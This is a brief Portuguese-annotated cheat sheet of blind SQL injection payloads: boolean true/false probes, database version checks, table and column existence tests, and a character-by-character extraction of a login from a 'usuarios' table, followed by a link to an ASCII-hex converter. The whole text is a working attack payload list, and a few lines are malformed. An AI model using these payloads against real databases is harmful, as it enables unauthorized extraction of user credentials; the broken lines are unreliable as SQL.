and 1=1 true
and 1=0 false
and substring(@@version)=versao do db
and (select,1,1)=1
And (Select 1 From tabela Limit 0,1)=1
And (Select Substring(Concat(1,campo),1,1) From nome da tabela Limit 0,1)=1
And ASCII(Substring((SELECT Concat(login) From usuarios Limit 0,1),1,1))>65
http://easycalculation.com/ascii-hex.php